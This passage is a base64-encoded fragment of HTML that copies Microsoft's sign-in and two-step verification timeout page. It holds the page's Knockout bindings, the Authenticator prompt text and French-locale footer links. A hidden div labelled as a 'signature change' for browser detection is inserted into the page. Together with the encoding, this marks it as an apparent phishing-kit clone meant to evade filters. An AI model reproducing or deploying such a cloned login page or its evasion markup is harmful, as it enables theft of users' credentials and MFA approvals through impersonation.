J1ZSB9LAogICAgICAgICAgICAgICAgdmFsdWU6IHByaW1hcnlCdXR0b25UZXh0KCkgfHwgc3RyW1wnQ1RfUFdEX1NUUl9TaWduSW5fQnV0dG9uX05leHRcJ10sCiAgICAgICAgICAgICAgICBoYXNGb2N1czogZm9jdXNPblByaW1hcnlCdXR0b24sCiAgICAgICAgICAgICAgICBjbGljazogcHJpbWFyeUJ1dHRvbl9vbkNsaWNrLAogICAgICAgICAgICAgICAgZW5hYmxlOiBpc1ByaW1hcnlCdXR0b25FbmFibGVkLAogICAgICAgICAgICAgICAgdmlzaWJsZTogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSwKICAgICAgICAgICAgICAgIHByZXZlbnRUYWJiaW5nOiBwcmltYXJ5QnV0dG9uUHJldmVudFRhYmJpbmciIHZhbHVlPSJOZXh0IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIGRhdGEtcmVwb3J0LWF0dGFjaGVkPSIxIj4KICAgIDwvZGl2Pgo8L2Rpdj48L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0ga28gaWY6IHRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCAtLT48IS0tIC9rbyAtLT48L2Rpdj48IS0tIC9rbyAtLT4KICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgPCEtLSAva28gLS0+CiAgICA8L2Rpdj4KCQoJPGRpdiBpZD0iaWQtc2lnbmF0dXJlLWNoYW5nZSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgoJCTxwPiBUSElTIFdPUktTIEFTIEEgU0lHTkEgVFVSRSBDSEFOR0UgRk9SIERFVEVDRUQgQlJPV1NFUjwvcD4KCTwvZGl2PgoJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOyIgY2xhc3M9Im1mYTItZXJyb3IgcGFnaW5hdGlvbi12aWV3IGFuaW1hdGUgaGFzLWlkZW50aXR5LWJhbm5lciBzbGlkZS1pbi1uZXh0IiBkYXRhLWJpbmQ9ImNzczogewogICAgICAgIFwnaGFzLWlkZW50aXR5LWJhbm5lclwnOiBzaG93SWRlbnRpdHlCYW5uZXIoKSAmYW1wOyZhbXA7IChzaGFyZWREYXRhLmRpc3BsYXlOYW1lIHx8IHN2ci5zUE9TVF9Vc2VybmFtZSksCiAgICAgICAgXCd6ZXJvLW9wYWNpdHlcJzogaGlkZVBhZ2luYXRlZFZpZXcuaGlkZVN1YlZpZXcoKSwKICAgICAgICBcJ2FuaW1hdGVcJzogYW5pbWF0ZSgpLAogICAgICAgIFwnc2xpZGUtb3V0LW5leHRcJzogYW5pbWF0ZS5pc1NsaWRlT3V0TmV4dCgpLAogICAgICAgIFwnc2xpZGUtaW4tbmV4dFwnOiBhbmltYXRlLmlzU2xpZGVJbk5leHQoKSwKICAgICAgICBcJ3NsaWRlLW91dC1iYWNrXCc6IGFuaW1hdGUuaXNTbGlkZU91dEJhY2soKSwKICAgICAgICBcJ3NsaWRlLWluLWJhY2tcJzogYW5pbWF0ZS5pc1NsaWRlSW5CYWNrKCkgfSI+CgogICAgICAgIDwhLS0ga28gZm9yZWFjaDogdmlld3MgLS0+CiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+CiAgICAgICAgICAgICAgICA8IS0tIGtvIHRlbXBsYXRlOiB7IG5vZGVzOiBbJGRhdGFdLCBkYXRhOiAkcGFyZW50IH0gLS0+PGRpdiBkYXRhLXZpZXdpZD0iNyIgZGF0YS1zaG93aWRlbnRpdHliYW5uZXI9InRydWUiIGRhdGEtYmluZD0icGFnZVZpZXdDb21wb25lbnQ6IHsgbmFtZTogXCdzZXNzaW9uLWFwcHJvdmFsLXRpbWVvdXQtdmlld1wnLAogICAgICAgICAgICAgICAgICAgIHBhcmFtczogewogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJEYXRhOiBzdnIsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbnRQcm9vZjogc2hhcmVkRGF0YS5zZW50UHJvb2YsCiAgICAgICAgICAgICAgICAgICAgICAgIHVzZXJuYW1lOiBzaGFyZWREYXRhLnVzZXJuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICBoYXNUb3RwOiBzaGFyZWREYXRhLmhhc1RvdHAsCiAgICAgICAgICAgICAgICAgICAgICAgIHNob3dDYW5jZWxCdXR0b246IHNoYXJlZERhdGEuc2hvd0NhbmNlbEJ1dHRvbiwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbkFwcHJvdmFsRXJyb3I6IHNoYXJlZERhdGEuc2Vzc2lvbkFwcHJvdmFsRXJyb3IsCiAgICAgICAgICAgICAgICAgICAgICAgIGRlYnVnRGV0YWlsczogc2hhcmVkRGF0YS5kZWJ1Z0RldGFpbHMsCiAgICAgICAgICAgICAgICAgICAgICAgIGZsb3dUb2tlbjogc2hhcmVkRGF0YS5mbG93VG9rZW4sCiAgICAgICAgICAgICAgICAgICAgICAgIHNlc3Npb25BcHByb3ZhbEVycm9yOiBzaGFyZWREYXRhLnNlc3Npb25BcHByb3ZhbEVycm9yIH0sCiAgICAgICAgICAgICAgICAgICAgZXZlbnQ6IHsKICAgICAgICAgICAgICAgICAgICAgICAgY2FuY2VsOiB2aWV3X29uQ2FuY2VsLAogICAgICAgICAgICAgICAgICAgICAgICB1cGRhdGVGbG93VG9rZW46ICR0ZmFQYWdlLnZpZXdfb25VcGRhdGVGbG93VG9rZW4sCiAgICAgICAgICAgICAgICAgICAgICAgIHNldFBlbmRpbmdSZXF1ZXN0OiAkdGZhUGFnZS52aWV3X29uU2V0UGVuZGluZ1JlcXVlc3QsCiAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZVNlc3Npb25JZGVudGlmaWVyOiAkdGZhUGFnZS52aWV3X29uVXBkYXRlU2Vzc2lvbklkZW50aWZpZXIsCiAgICAgICAgICAgICAgICAgICAgICAgIHNob3dEZWJ1Z0RldGFpbHM6ICR0ZmFQYWdlLnRvZ2dsZURlYnVnRGV0YWlsc19vbkNsaWNrIH0gfSI+PCEtLSAgLS0+Cgo8ZGl2PgogICAgPGRpdiBjbGFzcz0icm93IHRleHQtdGl0bGUiIHJvbGU9ImhlYWRpbmciIGFyaWEtbGV2ZWw9IjEiIGRhdGEtYmluZD0idmlzaWJsZTogIXNlbmRFcnJvck9jY3VycmVkLAogICAgICAgIGh0bWw6IHRpdGxlVGV4dCwKICAgICAgICBhdHRyOiB7IGlkOiBnZXRJZChcJ2lkRGl2XCcsIFwnVGl0bGVcJykgfSIgaWQ9ImlkRGl2X1NBQVNUT19UaXRsZSI+V2UgZGlkblwndCBoZWFyIGZyb20geW91PC9kaXY+CgogICAgPGRpdiBjbGFzcz0idGV4dC1ibG9jay1ib2R5IGZvcm0tZ3JvdXAiPgogICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIiByb2xlPSJhbGVydCIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgdmlzaWJsZTogc2VuZEVycm9yT2NjdXJyZWQsCiAgICAgICAgICAgIHRleHQ6IHN0cltcJ0NUX1NBQVNUT19TVFJfRXJyb3JfU2VuZEZhaWxcJ10sCiAgICAgICAgICAgIGF0dHI6IHsgaWQ6IGdldElkKFwnaWREaXZcJywgXCdTZW5kRXJyb3JUaXRsZVwnKSB9IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIGlkPSJpZERpdl9TQUFTVE9fU2VuZEVycm9yVGl0bGUiPlJlcXVlc3Qgd2FzblwndCBzZW50PC9zcGFuPgoKICAgICAgICA8c3BhbiBjbGFzcz0iZm9ybS1ncm91cCIgcm9sZT0iYWxlcnQiIGRhdGEtYmluZD0iCiAgICAgICAgICAgIHZpc2libGU6ICFzZW5kRXJyb3JPY2N1cnJlZCwKICAgICAgICAgICAgYXR0cjogeyBpZDogZ2V0SWQoXCdpZERpdlwnLCBcJ0Rlc2NyaXB0aW9uXCcpIH0sCiAgICAgICAgICAgIGNzczogeyBcJ2FsZXJ0IGFsZXJ0LWVycm9yXCc6IGVycm9yKCkgJmFtcDsmYW1wOyAhaXNBdXRoTGltaXRSZWFjaGVkIH0sCiAgICAgICAgICAgIGh0bWxXaXRoQmluZGluZ3M6IGRlc2NyaXB0aW9uVGV4dCwKICAgICAgICAgICAgY2hpbGRCaW5kaW5nczogewogICAgICAgICAgICAgICAgXCd1c2VBdXRoZW50aWNhdG9yXCc6IHsKICAgICAgICAgICAgICAgICAgICBjbGljazogc3dpdGNoVG9PdGNDb25maXJtX29uQ2xpY2ssCiAgICAgICAgICAgICAgICAgICAgYXJpYURlc2NyaWJlZEJ5OiBcJ2lkRGl2X1NBQVNUT19UaXRsZSBpZERpdl9TQUFTVE9fRGVzY3JpcHRpb25cJywKICAgICAgICAgICAgICAgICAgICBoYXNGb2N1czogdHJ1ZSB9LAogICAgICAgICAgICAgICAgXCd1c2VWZXJpZmljYXRpb25Db2RlXCc6IHsKICAgICAgICAgICAgICAgICAgICBjbGljazogc3dpdGNoVG9PdGNDb25maXJtX29uQ2xpY2ssCiAgICAgICAgICAgICAgICAgICAgYXJpYURlc2NyaWJlZEJ5OiBcJ2lkRGl2X1NBQVNUT19UaXRsZSBpZERpdl9TQUFTVE9fRGVzY3JpcHRpb25cJywKICAgICAgICAgICAgICAgICAgICBoYXNGb2N1czogdHJ1ZSB9IH0iIGlkPSJpZERpdl9TQUFTVE9fRGVzY3JpcHRpb24iPldlIHNlbnQgYW4gaWRlbnRpdHkgdmVyaWZpY2F0aW9uIHJlcXVlc3QgdG8geW91ciBNaWNyb3NvZnQgQXV0aGVudGljYXRvciBhcHAsIGJ1dCB3ZSBkaWRuXCd0IGhlYXIgZnJvbSB5b3UgaW4gdGltZS48L3NwYW4+CgogICAgICAgIDwhLS0ga28gaWY6IHN2ci5mU2hvd1ZpZXdEZXRhaWxzTGluayAmJiAhaXNBdXRoTGltaXRSZWFjaGVkIC0tPgogICAgICAgIDxhIGlkPSJWaWV3RGV0YWlscyIgY2xhc3M9Im5vLXdyYXAiIGhyZWY9IiMiIGRhdGEtYmluZD0iCiAgICAgICAgICAgIHRleHQ6IHN0cltcJ0NUX1NUUl9FcnJvcl9WaWV3RGV0YWlsc1wnXSwKICAgICAgICAgICAgY2xpY2tFeHByOiBvblNob3dEZWJ1Z0RldGFpbHMoZGVidWdEZXRhaWxzLCB0cnVlKSwKICAgICAgICAgICAgYXJpYUxhYmVsOiBzdHJbXCdDVF9TVFJfRXJyb3JfVmlld0RldGFpbHNBcmlhTGFiZWxcJ10iIGFyaWEtbGFiZWw9IlZpZXcgZGVidWdnaW5nIGRldGFpbHMgZm9yIHRoaXMgZXJyb3IiPlZpZXcgZGV0YWlsczwvYT4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2PgoKICAgIDwhLS0ga28gaWZub3Q6IGlzQXV0aExpbWl0UmVhY2hlZCAtLT4KICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgIDxhIGhyZWY9IiMiIGRhdGEtYmluZD0iaHRtbDogc3RyW1wnQ1RfU0FBU1RPX1NUUl9SZXNlbmRcJ10sIGF0dHI6IHsgaWQ6IGdldElkKFwnaWRBXCcsIFwnUmVzZW5kXCcpIH0sIGNsaWNrOiByZXNlbmRfb25DbGljayIgaWQ9ImlkQV9TQUFTVE9fUmVzZW5kIj48L2E+CiAgICA8L2Rpdj4KICAgIDwhLS0gL2tvIC0tPgoKPC9kaXY+Cgo8IS0tIGtvIGlmOiAhaXNBdXRoTGltaXRSZWFjaGVkICYmIChhbGxvd1RvdHAgfHwgc2hvd1N3aXRjaFByb29mc0xpbmspIC0tPgo8ZGl2PgogICAgPGRpdiBjbGFzcz0idGV4dC1zdWJ0aXRsZSIgZGF0YS1iaW5kPSJodG1sOiBzdHJbXCdDVF9TQU9UQ0FTX1NUUl9Ucm91YmxlXCddLCBhdHRyOiB7IGlkOiBnZXRJZChcJ2lkRGl2XCcsIFwnVHJvdWJsZVwnKSB9IiBpZD0iaWREaXZfU0FBU1RPX1Ryb3VibGUiPkhhdmluZyB0cm91YmxlPzwvZGl2PgogICAKPC9kaXY+CjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogaXNBdXRoTGltaXRSZWFjaGVkICYmIHNob3dTd2l0Y2hQcm9vZnNMaW5rIC0tPjwhLS0gL2tvIC0tPgoKPGRpdiBkYXRhLWJpbmQ9ImNzczogeyBcJ3Bvc2l0aW9uLWJ1dHRvbnNcJzogIXRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCB9IiBjbGFzcz0icG9zaXRpb24tYnV0dG9ucyI+CiAgICA8ZGl2PgogICAgICAgIDwhLS0ga28gaWY6IHN2ci51cmxNb3JlSW5mbyAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMjQiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC0xMyI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGlkPSJtb3JlSW5mb1VybCIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHBzOi8vZ28ubWljcm9zb2Z0LmNvbS9md2xpbmsvcC8/TGlua0lkPTcwODYxNCIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQ6IHN0cltcJ0NUX1NUUl9Nb3JlX0luZm9cJ10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmOiBzdnIudXJsTW9yZUluZm8sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NUUl9Nb3JlX0luZm9fQXJpYUxhYmVsXCddIiBhcmlhLWxhYmVsPSJNb3JlIGluZm9ybWF0aW9uIGFib3V0IHR3byBzdGVwIHZlcmlmaWNhdGlvbiI+TW9yZSBpbmZvcm1hdGlvbjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9Indpbi1idXR0b24tcGluLWJvdHRvbSIgZGF0YS1iaW5kPSJjc3MgOiB7IFwnYm9pbGVycGxhdGUtYnV0dG9uLWJvdHRvbVwnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICA8ZGl2IGNsYXNzPSJyb3ciIGRhdGEtYmluZD0iY3NzOiB7IFwnbW92ZS1idXR0b25zXCc6IHRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCB9Ij4KICAgICAgICA8ZGl2IGRhdGEtYmluZD0iY29tcG9uZW50OiB7IG5hbWU6IFwnZm9vdGVyLWJ1dHRvbnMtZmllbGRcJywKICAgICAgICAgICAgcGFyYW1zOiB7CiAgICAgICAgICAgICAgICBzZXJ2ZXJEYXRhOiBzdnIsCiAgICAgICAgICAgICAgICByZW1vdmVCb3R0b21NYXJnaW46ICFzdnIudXJsTW9yZUluZm8sCiAgICAgICAgICAgICAgICBpc1ByaW1hcnlCdXR0b25WaXNpYmxlOiBmYWxzZSwKICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvbklkOiBnZXRJZChcJ2lkQnRuXCcsIFwnQ2FuY2VsXCcpLAogICAgICAgICAgICAgICAgc2Vjb25kYXJ5QnV0dG9uVGV4dDogc3RyW1wnQ1RfU0FPVENDX1NUUl9DYW5jZWxcJ10sCiAgICAgICAgICAgICAgICBpc1NlY29uZGFyeUJ1dHRvblZpc2libGU6IHN2ci5mU2hvd0J1dHRvbnMgJmFtcDsmYW1wOyBzaG93Q2FuY2VsQnV0dG9uIH0sCiAgICAgICAgICAgIGV2ZW50OiB7CiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25DbGljazogc2Vjb25kYXJ5QnV0dG9uX29uQ2xpY2sgfSB9Ij48ZGl2IGNsYXNzPSJjb2wteHMtMjQgbm8tcGFkZGluZy1sZWZ0LXJpZ2h0IGJ1dHRvbi1jb250YWluZXIiIGRhdGEtYmluZD0iCiAgICB2aXNpYmxlOiBpc1ByaW1hcnlCdXR0b25WaXNpYmxlKCkgfHwgaXNTZWNvbmRhcnlCdXR0b25WaXNpYmxlKCksCiAgICBjc3M6IHsgXCduby1tYXJnaW4tYm90dG9tXCc6IHJlbW92ZUJvdHRvbU1hcmdpbiB9Ij4KCiAgICA8IS0tIGtvIGlmOiBpc1NlY29uZGFyeUJ1dHRvblZpc2libGUgLS0+CiAgICA8ZGl2IGNsYXNzPSJpbmxpbmUtYmxvY2siPgogICAgICAgIDxpbnB1dCB0eXBlPSJidXR0b24iIGlkPSJpZEJ0bl9TQUFTVE9fQ2FuY2VsIiBjbGFzcz0id2luLWJ1dHRvbiBidXR0b24tc2Vjb25kYXJ5IGJ1dHRvbiBleHQtYnV0dG9uIHNlY29uZGFyeSBleHQtc2Vjb25kYXJ5IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICBhdHRyOiB7IFwnaWRcJzogc2Vjb25kYXJ5QnV0dG9uSWQgfHwgXCdpZEJ0bl9CYWNrXCcgfSwKICAgICAgICAgICAgZXh0ZXJuYWxDc3M6IHsKICAgICAgICAgICAgICAgIFwnYnV0dG9uXCc6IHRydWUsCiAgICAgICAgICAgICAgICBcJ3NlY29uZGFyeVwnOiB0cnVlIH0sCiAgICAgICAgICAgIHZhbHVlOiBzZWNvbmRhcnlCdXR0b25UZXh0KCkgfHwgc3RyW1wnQ1RfSFJEX1NUUl9TcGxpdHRlcl9CYWNrXCddLAogICAgICAgICAgICBhcmlhRGVzY3JpYmVkQnk6IHNlY29uZGFyeUJ1dHRvbkRlc2NyaWJlZEJ5LAogICAgICAgICAgICBoYXNGb2N1czogZm9jdXNPblNlY29uZGFyeUJ1dHRvbiwKICAgICAgICAgICAgY2xpY2s6IHNlY29uZGFyeUJ1dHRvbl9vbkNsaWNrLAogICAgICAgICAgICBlbmFibGU6IGlzU2Vjb25kYXJ5QnV0dG9uRW5hYmxlZCIgdmFsdWU9IkNhbmNlbCI+CiAgICA8L2Rpdj4KICAgIDwhLS0gL2tvIC0tPgoKICAgIDxkaXYgZGF0YS1iaW5kPSJjc3M6IHsgXCdpbmxpbmUtYmxvY2tcJzogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSB9Ij4KICAgICAgICA8IS0tIHR5cGU9InN1Ym1pdCIgaXMgbmVlZGVkIGluLWFkZGl0aW9uIHRvIFwndHlwZVwnIGluIHByaW1hcnlCdXR0b25BdHRyaWJ1dGVzIG9ic2VydmFibGUgdG8gc3VwcG9ydCBJRTggLS0+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9ImlkU0lCdXR0b245IiBjbGFzcz0id2luLWJ1dHRvbiBidXR0b25fcHJpbWFyeSBidXR0b24gZXh0LWJ1dHRvbiBwcmltYXJ5IGV4dC1wcmltYXJ5IiBkYXRhLXJlcG9ydC1ldmVudD0iU2lnbmluX1N1Ym1pdCIgZGF0YS1yZXBvcnQtdHJpZ2dlcj0iY2xpY2siIGRhdGEtcmVwb3J0LXZhbHVlPSJTdWJtaXQiIGRhdGEtYmluZD0iCiAgICAgICAgICAgICAgICBhdHRyOiBwcmltYXJ5QnV0dG9uQXR0cmlidXRlcywKICAgICAgICAgICAgICAgIGV4dGVybmFsQ3NzOiB7CiAgICAgICAgICAgICAgICAgICAgXCdidXR0b25cJzogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBcJ3ByaW1hcnlcJzogdHJ1ZSB9LAogICAgICAgICAgICAgICAgdmFsdWU6IHByaW1hcnlCdXR0b25UZXh0KCkgfHwgc3RyW1wnQ1RfUFdEX1NUUl9TaWduSW5fQnV0dG9uX05leHRcJ10sCiAgICAgICAgICAgICAgICBoYXNGb2N1czogZm9jdXNPblByaW1hcnlCdXR0b24sCiAgICAgICAgICAgICAgICBjbGljazogcHJpbWFyeUJ1dHRvbl9vbkNsaWNrLAogICAgICAgICAgICAgICAgZW5hYmxlOiBpc1ByaW1hcnlCdXR0b25FbmFibGVkLAogICAgICAgICAgICAgICAgdmlzaWJsZTogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSwKICAgICAgICAgICAgICAgIHByZXZlbnRUYWJiaW5nOiBwcmltYXJ5QnV0dG9uUHJldmVudFRhYmJpbmciIHZhbHVlPSJOZXh0IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgPC9kaXY+CjwvZGl2PjwvZGl2PgogICAgPC9kaXY+CjwvZGl2PgoKPCEtLSBrbyBpZjogdGVuYW50QnJhbmRpbmcuQm9pbGVyUGxhdGVUZXh0IC0tPjwhLS0gL2tvIC0tPjwvZGl2PjwhLS0gL2tvIC0tPgogICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgPCEtLSAva28gLS0+CiAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlciIgaWQ9ImZvb3RlciI+CiAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlck5vZGUgdGV4dC1zZWNvbmRhcnkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBpZD0iZnRyVGVybXMiIGRhdGEtYmluZD0iCiAgICAgICAgICAgIHRleHQ6IHRlcm1zVGV4dCwKICAgICAgICAgICAgaHJlZjogdGVybXNMaW5rLAogICAgICAgICAgICBjbGljazogdGVybXNMaW5rX29uQ2xpY2ssCiAgICAgICAgICAgIGV4dGVybmFsQ3NzOiB7CiAgICAgICAgICAgICAgICBcJ2Zvb3Rlci1jb250ZW50XCc6IHRydWUsCiAgICAgICAgICAgICAgICBcJ2Zvb3Rlci1pdGVtXCc6IHRydWUsCiAgICAgICAgICAgICAgICBcJ2hhcy1iYWNrZ3JvdW5kXCc6ICF1c2VEZWZhdWx0QmFja2dyb3VuZCwKICAgICAgICAgICAgICAgIFwnYmFja2dyb3VuZC1hbHdheXMtdmlzaWJsZVwnOiBoYXNEYXJrQmFja2dyb3VuZCB9IiBocmVmPSJodHRwczovL3d3dy5taWNyb3NvZnQuY29tL2ZyL3NlcnZpY2VzYWdyZWVtZW50LyIgY2xhc3M9ImZvb3Rlci1jb250ZW50IGV4dC1mb290ZXItY29udGVudCBmb290ZXItaXRlbSBleHQtZm9vdGVyLWl0ZW0iPlRlcm1zICZhbXA7IENvbmRpdGlvbnM8L2E+CiAgICAgICAgPCEtLSAva28gLS0+CgogICAgICAgIDwhLS0ga28gaWY6ICFoaWRlUHJpdmFjeSAtLT4KICAgICAgICA8YSBpZD0iZnRyUHJpdmFjeSIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgdGV4dDogcHJpdmFjeVRleHQsCiAgICAgICAgICAgIGhyZWY6IHByaXZhY3lMaW5rLAogICAgICAgICAgICBjbGljazogcHJpdmFjeUxpbmtfb25DbGljaywKICAgICAgICAgICAgZXh0ZXJuYWxDc3M6IHsKICAgICAgICAgICAgICAgIFwnZm9vdGVyLWNvbnRlbnRcJzogdHJ1ZSwKICAgICAgICAgICAgICAgIFwnZm9vdGVyLWl0ZW1cJzogdHJ1ZSwKICAgICAgICAgICAgICAgIFwnaGFzLWJhY2tncm91bmRcJzogIXVzZURlZmF1bHRCYWNrZ3JvdW5kLAogICAgICAgICAgICAgICAgXCdiYWNrZ3JvdW5kLWFsd2F5cy12aXNpYmxlXCc6IGhhc0RhcmtCYWNrZ3JvdW5kIH0iIGhyZWY9Imh0dHBzOi8vcHJpdmFjeS5taWNyb3NvZnQuY29tL2ZyL3ByaXZhY3lzdGF0ZW1lbnQiIGNsYXNzPSJmb290ZXItY29udGVudCBleHQtZm9vdGVyLWNvbnRlbnQgZm9vdGVyLWl0ZW0gZXh0LWZvb3Rlci1pdGVtIj5Db29raWUgUHJpdmFjeTwvYT4KICAgICAgICA8IS0tIC9rbyAtLT4KCiAgICAgICAgPCEtLSBrbyBpZjogaW1wcmVzc3VtTGluayAtLT48IS0tIC9rbyAtLT4KCiAgICAgICAgPCEtLSBrbyBpZjogc2hvd0ljcExpY2Vuc2UgLS0+PCEtLSAva28gLS0+CiAgICA8IS0tIC9rbyAtLT4KICAgICAgICA8YSBpZD0ibW9yZU9wdGlvbnMiIGhyZWY9IiMiIHJvbGU9ImJ1dHRvbiIgZGF0YS1iaW5kPSIKICAgICAgICBjbGljazogbW9yZUluZm9fb25DbGljaywKICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NUUl9Nb3JlX09wdGlvbnNfRWxsaXBzaXNfQXJpYUxhYmVsXCddLAogICAgICAgIGF0dHI6IHsgXCdhcmlhLWV4cGFuZGVkXCc6IHNob3dEZWJ1Z0RldGFpbHMoKS50b1N0cmluZygpIH0sCiAgICAgICAgaGFzRm9jdXNFeDogZm9jdXNNb3JlSW5mbygpLAogICAgICAgIGV4dGVybmFsQ3NzOiB7CiAgICAgICAgICAgIFwnZm9vdGVyLWNvbnRlbnRcJzogdHJ1ZSwKICAgICAgICAgICAgXCdmb290ZXItaXRlbVwnOiB0cnVlLAogICAgICAgICAgICBcJ2RlYnVnLWl0ZW1cJzogdHJ1ZSwKICAgICAgICAgICAgXCdoYXMtYmFja2dyb3VuZFwnOiAhdXNlRGVmYXVsdEJhY2tncm91bmQsCiAgICAgICAgICAgIFwnYmFja2dyb3VuZC1hbHdheXMtdmlzaWJsZVwnOiBoYXNEYXJrQmFja2dyb3VuZCB9IiBhcmlhLWxhYmVsPSJDbGlxdWV6IGljaSBwb3VyIG9i